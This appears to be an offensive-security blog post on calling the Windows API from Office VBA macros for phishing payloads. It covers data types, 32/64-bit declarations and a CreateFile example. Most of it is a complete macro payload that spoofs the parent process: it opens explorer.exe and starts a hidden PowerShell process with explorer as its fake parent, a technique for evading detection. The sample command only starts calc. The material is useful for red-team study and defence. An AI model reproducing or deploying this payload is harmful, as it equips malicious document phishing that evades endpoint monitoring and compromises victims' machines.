VBA Macros and the Windows API

Some examples of VBA WinAPI in Office 32-bit and Office 64-bit, useful for Offensive Security Development.

This post will serve as a reference for myself and any others who find it useful, on how to develop and build VBA payloads which make heavy use of the Windows API. Some of my most successful engagements which involve phishing stages have been very successful using custom VBA payloads.

I will continually update this so please bare with me.

Data Types

More information can be found on MSDN

Data type summary

64-bit VBA overview

Compatibility between the 32-bit and 64-bit versions of Office

Pointers

As shown above the examples are using ByVal but pointers are regularly used when programming in the WinAPI. Visual Basic does not allow to use pointers directly, but we can use the ByRef in the declaration to mimic a pointer. It will then pass the memory location of the variable to the function, rather than the value.

x86 - 64-bit Compatibility

We want our payloads to be agnostic of the architecture they are executed on. Since Office 2010 the applications are available as 64-bit as well as 32-bit. This introduces additional complexity. When declaring our functions or executing code that may differ between 32-bit and 64-bit we we can follow these rules of thumb:

  • If you are on a 64-bit version of Windows, but are on a 32-bit version of Office, you can declare API calls like below. The Win64 is relevent here because you could be on pre-VBA7, e.g. VBA6, but with a 64-bit OS and therefore the declaration VBA7 would not exist.

    #If Win64 Then
        Declare PtrSafe Function GetTickCount64 Lib "kernel32"() As LongLong
    #Else
        Declare PtrSafe Function GetTickCount Lib "kernel32" () As Long
    #End If
  • If you are on a 64-bit version of Windows, and are on a 64-bit version of Office, you can declare API calls like below because VBA7 keyword is not actually available on anything other that 64-bit OS.

    #If VBA7 Then
       Declare PtrSafe Function FindWindow Lib "user32" Alias "FindWindowA" ( _
           ByVal lpClassName As String, _
           ByVal lpWindowName As String) As LongPtr
     #Else
       Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal _
           lpClassName As String, ByVal lpWindowName As String) As Long
    #End If

Since the switch to VBA7 three new keywords were introduced (2 data types and 1 modifier): LongPtr, LongLong and PtrSafe . Additionally, LongPtr is an alias, therefore it will always work as expected on either architecture and Office architecture.

Example: CreateFile() in VBA

MSDN Declaration of CreateFile()

HANDLE CreateFileA(
  LPCSTR                lpFileName,
  DWORD                 dwDesiredAccess,
  DWORD                 dwShareMode,
  LPSECURITY_ATTRIBUTES lpSecurityAttributes,
  DWORD                 dwCreationDisposition,
  DWORD                 dwFlagsAndAttributes,
  HANDLE                hTemplateFile
);

We also see an argument type of LPSECURITY_ATTRIBUTES , however in CreateFile this can be a Null pointer, so we do not need to use this struct.

#If Win64 Then
    Private Declare PtrSafe Function CreateFile Lib "Kernel32" Alias "CreateFileA" ( _
        ByVal lpFileName As String, _
        ByVal dwDesiredAccess As Long, _
        ByVal dwShareMode As Long, _
        lpSecurityAttributes As Any, _
        ByVal dwCreationDisposition As Long, _
        ByVal dwFlagsAndAttributes As Long, _
        ByVal hTemplateFile As Long _
    ) As Long
                                                                                    
    Private Declare PtrSafe Function CloseHandle Lib "Kernel32" ( _
        ByVal hObject As Long _
    ) As Long
#Else
    Private Declare Function CreateFile Lib "Kernel32" Alias "CreateFileA" ( _
        ByVal lpFileName As String, _
        ByVal dwDesiredAccess As Long, _
        ByVal dwShareMode As Long, _
        lpSecurityAttributes As Any, _
        ByVal dwCreationDisposition As Long, _
        ByVal dwFlagsAndAttributes As Long, _
        ByVal hTemplateFile As Long _
    ) As Long
                                                                                    
    Private Declare Function CloseHandle Lib "Kernel32" ( _
        ByVal hObject As Long _
    ) As Long
    
#End If

Private Const GENERIC_READ = &H80000000
Private Const GENERIC_WRITE = &H40000000
Private Const FILE_SHARE_READ = &H1
Private Const FILE_SHARE_WRITE = &H2
Private Const OPEN_ALWAYS = &H4
Private Const FILE_ATTRIBUTE_NORMAL = &H80

Public Function Test()
    Dim hFile As Long
    hFile = CreateFile("C:\Users\Mitch\Desktop\testfile.txt", GENERIC_WRITE, FILE_SHARE_READ Or FILE_SHARE_WRITE, ByVal 0&, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0)
    CloseHandle (hFile)
End Function

In the above example we create a file C:\Users\mitch\Desktop\testfile.txt and this was tested on a Windows 10 64-bit with Office 32-bit and also Office 64-bit.

Parent Process Spoofing on 32-bit and 64-bit Office

As we try and program more complex scenarios into our payloads for example a CreateProcess() call which also spoofs our parent process ID, some of the APIs that we need to use have changed slightly between different OS architectures and Office Architectures.

Below I have included a macro payload I built that will:

  1. Get the PID of explorer.exe

  2. Get a handle to the explorer.exe process

  3. Create an EXTENDEDSTARTUPINFOEX structure pointing the PROC_THREAD_ATTRIBUTE_PARENT_PROCESS attribute to the handle we retrieve.

  4. Spawn a powershell.exe process with explorer.exe set as its parent process.

Although this actual payload is not new or groundbreaking, what makes it different from other online resources is that it works both on Office 32-bit and Office 64-bit.

Option Explicit

Const MAX_PATH = 260
Const SW_HIDE = &H0&
Const HEAP_ZERO_MEMORY = &H8&
Const TH32CS_SNAPPROCESS = &H2
Const PROCESS_ALL_ACCESS = &H1F0FFF
Const CREATE_NEW_CONSOLE = &H10
Const EXTENDED_STARTUPINFO_PRESENT = &H80000
Const PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = &H20000
 
#If VBA7 And Win64 Then

    Private Type PROCESSENTRY32
        dwSize As Long
        cntUsage As Long
        th32ProcessID As Long
        th32DefaultHeapID As Long
        th32DefaultHeapIDB As Long
        th32ModuleID As Long
        cntThreads As Long
        th32ParentProcessID As Long
        pcPriClassBase As Long
        pcPriClassBaseB As Long
        dwFlags As Long
        szExeFile As String * MAX_PATH
    End Type
     
    Private Type PROCESS_INFORMATION
        hProcess As LongPtr
        hThread As LongPtr
        dwProcessId As Long
        dwThreadId As Long
    End Type
     
    Private Type STARTUP_INFO
        cb As Long
        lpReserved As String
        lpDesktop As String
        lpTitle As String
        dwX As Long
        dwY As Long
        dwXSize As Long
        dwYSize As Long
        dwXCountChars As Long
        dwYCountChars As Long
        dwFillAttribute As Long
        dwFlags As Long
        wShowWindow As Integer
        cbReserved2 As Integer
        lpReserved2 As LongPtr
        hStdInput As LongPtr
        hStdOutput As LongPtr
        hStdError As LongPtr
    End Type
     
    Private Type STARTUPINFOEX
        STARTUPINFO As STARTUP_INFO
        lpAttributelist As LongPtr
    End Type
    
    Private Declare PtrSafe Function GetProcessHeap Lib "kernel32" () As LongPtr
    
    Private Declare PtrSafe Function CreateProcess Lib "kernel32" Alias "CreateProcessA" ( _
        ByVal lpApplicationName As String, _
        ByVal lpCommandLine As String, _
        lpProcessAttributes As Long, _
        lpThreadAttributes As Long, _
        ByVal bInheritHandles As Long, _
        ByVal dwCreationFlags As Long, _
        lpEnvironment As Any, _
        ByVal lpCurrentDriectory As String, _
        ByVal lpStartupInfo As LongPtr, _
        lpProcessInformation As PROCESS_INFORMATION _
    ) As Long
                                   
    Private Declare PtrSafe Function OpenProcess Lib "kernel32.dll" ( _
        ByVal dwAccess As Long, _
        ByVal fInherit As Integer, _
        ByVal hObject As Long _
    ) As LongPtr
     
    Private Declare PtrSafe Function CreateToolhelp32Snapshot Lib "kernel32.dll" ( _
        ByVal dwFlags As Integer, _
        ByVal th32ProcessID As Integer _
    ) As Long
     
    Private Declare PtrSafe Function Process32First Lib "kernel32.dll" ( _
        ByVal hSnapshot As LongPtr, _
        ByRef lppe As PROCESSENTRY32 _
    ) As Long
     
    Private Declare PtrSafe Function Process32Next Lib "kernel32.dll" ( _
        ByVal hSnapshot As LongPtr, _
        ByRef lppe As PROCESSENTRY32 _
    ) As Long
     
    Private Declare PtrSafe Function HeapAlloc Lib "kernel32" ( _
        ByVal hHeap As LongPtr, ByVal dwFlags As Long, _
        ByVal dwBytes As Long _
    ) As LongPtr
      
    Private Declare PtrSafe Function CloseHandle Lib "kernel32" ( _
        ByVal hObject As LongPtr _
    ) As Long
     
    Private Declare PtrSafe Function InitializeProcThreadAttributeList Lib "kernel32.dll" ( _
        ByVal lpAttributelist As LongPtr, _
        ByVal dwAttributeCount As Integer, _
        ByVal dwFlags As Integer, _
        ByRef lpSize As Integer _
    ) As Boolean
    
    Private Declare PtrSafe Function UpdateProcThreadAttribute Lib "kernel32.dll" ( _
        ByVal lpAttributelist As LongPtr, _
        ByVal dwFlags As Integer, _
        ByVal lpAttribute As Long, _
        ByRef lpValue As LongPtr, _
        ByVal cbSize As Integer, _
        ByRef lpPreviousValue As Integer, _
        ByRef lpReturnSize As Integer _
    ) As Boolean
 
#Else

    Private Type PROCESSENTRY32
        dwSize As Long
        cntUsage As Long
        th32ProcessID As Long
        th32DefaultHeapID As Long
        th32ModuleID As Long
        cntThreads As Long
        th32ParentProcessID As Long
        pcPriClassBase As Long
        dwFlags As Long
        szExeFile As String * MAX_PATH
    End Type
    
    Private Type PROCESS_INFORMATION
        hProcess As Long
        hThread As Long
        dwProcessId As Long
        dwThreadId As Long
    End Type
     
    Private Type STARTUP_INFO
     cb As Long
     lpReserved As String
     lpDesktop As String
     lpTitle As String
     dwX As Long
     dwY As Long
     dwXSize As Long
     dwYSize As Long
     dwXCountChars As Long
     dwYCountChars As Long
     dwFillAttribute As Long
     dwFlags As Long
     wShowWindow As Integer
     cbReserved2 As Integer
     lpReserved2 As LongPtr
     hStdInput As LongPtr
     hStdOutput As LongPtr
     hStdError As LongPtr
    End Type
     
    Private Type STARTUPINFOEX
     STARTUPINFO As STARTUP_INFO
     lpAttributelist As Long
    End Type
    
    Private Declare Function GetProcessHeap Lib "kernel32" () As Long
    
    Private Declare Function CreateProcess Lib "kernel32" Alias "CreateProcessA" ( _
        ByVal lpApplicationName As String, _
        ByVal lpCommandLine As String, _
        lpProcessAttributes As Any, _
        lpThreadAttributes As Any, _
        ByVal bInheritHandles As Long, _
        ByVal dwCreationFlags As Long, _
        lpEnvironment As Any, _
        ByVal lpCurrentDriectory As String, _
        ByVal lpStartupInfo As Long, _
        lpProcessInformation As PROCESS_INFORMATION _
    ) As Long
     
    Private Declare Function OpenProcess Lib "kernel32.dll" ( _
        ByVal dwAccess As Long, _
        ByVal fInherit As Integer, _
        ByVal hObject As Long _
    ) As Long
     
    Private Declare Function CreateToolhelp32Snapshot Lib "kernel32.dll" ( _
        ByVal dwFlags As Integer, _
        ByVal th32ProcessID As Integer _
    ) As Long
     
    Private Declare Function Process32First Lib "kernel32.dll" ( _
        ByVal hSnapshot As Long, _
        ByRef lppe As PROCESSENTRY32 _
    ) As Boolean
     
    Private Declare Function Process32Next Lib "kernel32.dll" ( _
        ByVal hSnapshot As Long, _
        ByRef lppe As PROCESSENTRY32 _
    ) As Boolean
     
    Private Declare Function HeapAlloc Lib "kernel32" ( _
        ByVal hHeap As Long, ByVal dwFlags As Long, _
        ByVal dwBytes As Long _
    ) As Long
      
    Private Declare Function CloseHandle Lib "kernel32" ( _
        ByVal hObject As Long _
    ) As Long
     
    Private Declare Function InitializeProcThreadAttributeList Lib "kernel32" ( _
        ByVal lpAttributelist As Long, _
        ByVal dwAttributeCount As Integer, _
        ByVal dwFlags As Integer, _
        ByRef lpSize As Integer _
    ) As Boolean
     
    Private Declare Function UpdateProcThreadAttribute Lib "kernel32" ( _
        ByVal lpAttributelist As Long, _
        ByVal dwFlags As Integer, _
        ByVal lpAttribute As Long, _
        ByRef lpValue As Long, _
        ByVal cbSize As Integer, _
        ByRef lpPreviousValue As Integer, _
        ByRef lpReturnSize As Integer _
    ) As Boolean
#End If

Public Function getPidByName(ByVal ProcName As String) As Integer
    Dim pEntry As PROCESSENTRY32
    Dim ProcessFound As Boolean
    pEntry.dwSize = Len(pEntry)
    
    #If Win64 And VBA7 Then
        Dim snapshot As LongPtr
    #Else
        Dim snapshot As Long
    #End If

    snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, ByVal 0&)
    ProcessFound = Process32First(snapshot, pEntry)
    
    Do
        If Left$(pEntry.szExeFile, Len(ProcName)) = LCase$(ProcName) Then
            getPidByName = pEntry.th32ProcessID
            ProcessFound = False
        Else
            ProcessFound = Process32Next(snapshot, pEntry)
        End If
    Loop While ProcessFound
End Function

Sub Test()
    Dim pi As PROCESS_INFORMATION
    Dim si As STARTUPINFOEX
    Dim sNull As String
    Dim pid As Integer
    Dim r As Integer
    Dim threadAttribSize As Integer
    Dim strCmdLine As String
      
    #If VBA7 And Win64 Then
        Dim hParent As LongPtr
    #Else
        Dim hParent As Long
    #End If
      
    strCmdLine = "powershell.exe -c calc"
      
    r = InitializeProcThreadAttributeList(ByVal 0&, 1, 0, threadAttribSize)
    si.lpAttributelist = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, threadAttribSize)
    r = InitializeProcThreadAttributeList(si.lpAttributelist, 1, 0, threadAttribSize)
      
    pid = getPidByName("explorer.exe")
    hParent = OpenProcess(PROCESS_ALL_ACCESS, False, pid)
    
    r = UpdateProcThreadAttribute(si.lpAttributelist, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, hParent, Len(hParent), ByVal 0&, ByVal 0&)
          
    si.STARTUPINFO.cb = LenB(si)
    si.STARTUPINFO.dwFlags = 1
    si.STARTUPINFO.wShowWindow = SW_HIDE

    r = CreateProcess( _
      sNull, _
      strCmdLine, _
      ByVal 0&, _
      ByVal 0&, _
      1&, _
      EXTENDED_STARTUPINFO_PRESENT Or CREATE_NEW_CONSOLE, _
      ByVal 0&, _
      sNull, _
      VarPtr(si), _
      pi _
    )

End Sub

Some other useful references:

Last updated